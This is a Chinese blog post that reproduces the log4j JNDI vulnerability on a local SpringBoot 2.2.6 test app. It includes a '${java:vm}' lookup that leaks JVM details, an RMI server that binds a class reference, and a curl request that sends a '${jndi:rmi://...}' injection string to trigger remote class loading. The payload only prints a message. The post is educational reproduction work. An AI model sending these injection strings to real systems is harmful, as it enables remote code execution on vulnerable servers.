最近出现的log4j漏洞,导致RNI远程调用问题,抱着好奇的心态来重现下。

环境搭建及测试代码

本文采用的是SpringBoot 2.2.6版本加一个RMI服务重现BUG,方式是通过在微服务工程里打log日志,以触发远程服务调用漏洞。

省略搭建微服务的过程,我使用的是社区版idea 2020.3.4,大家同样使用社区版的话,建议安装Spring assistant插件,可以很方便的搭建Springboot工程。

因为目前已经有了新版本的修复,这里建议大家使用Springboot2.2.6.RELEASE版本,其中带的log4j版本是2.12,这个版本是存在漏洞的哈。

项目依赖

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
    <version>2.2.6.RELEASE</version>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
    </exclusions>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-log4j2</artifactId>
    <version>2.2.6.RELEASE</version>
</dependency>

log记录

之后可以创建你的测试接口了。一个简单的测试用例,用log来记录入参,并返回参数。

private static final Logger logger = LogManager.getLogger(TestLog4JController.class);
@PostMapping(value = "hack")
public Object testLog4J(@RequestBody String params) {
    logger.info("params: {}",params);
    return params;
}

打印JVM参数

先来打印一下jvm参数到控制台。通过${java:vm}该参数在log中打印,log4j会将我们的jvm参数打印出来,这个问题不会导致严重的问题,但是可以让我们见识了log4j并不是简单的帮我们记录日志。

@request
curl --location --request POST 'http://127.0.0.1:8080/hack' \
--header 'Content-Type: application/json' \
--data-raw '{
    "command":"${java:vm}"
}'

日志输出

2021-12-20 12:02:27.549  INFO 71326 --- [nio-8080-exec-1] c.a.l.c.TestLog4JController              : params: {
    "command":"Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode)"
}

远程服务调用

接下来我们先来构建一个远程服务,之后通过打印log日志来发起远程调用。

RMI服务创建

public static void main(String[] args) {
    try {
        LocateRegistry.createRegistry(1099);
        Registry registry = LocateRegistry.getRegistry();
        Reference reference = new Reference("com.away.log4j.impl.Execute",
                "com.away.log4j.impl.Execute", null);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        System.out.println("service started");
        registry.bind("hack", referenceWrapper);
    } catch (RemoteException | NamingException | AlreadyBoundException e) {
        e.printStackTrace();
    }
}
public class Execute {
    public Execute() {
        System.out.println("Execute");
    }

    static {
        // 代码执行到这里,表示RMI调用成功
        System.out.println("freedom, can do anything!");
    }
}

上面的程序是构建远程服务,当你打印log日志的时候,可以通过JNDI发起一个远程调用,那么一旦服务调用发起,我们的程序就很可能遭受意外的攻击。

调用示例:

@request
curl --location --request POST 'http://127.0.0.1:8080/hack' \
--header 'Content-Type: application/json' \
--data-raw '{
    "command":"${jndi:rmi://127.0.0.1:1099/hack}"
}'

结果输出:

以上是一个简单的调用示例,通过RMI调用到目标主机,并实例化一段代码。可想而知,我们平时只是打印一个普通日志,却引来这么严重的问题,真的是不可思议。

标签:

分类:

更新时间: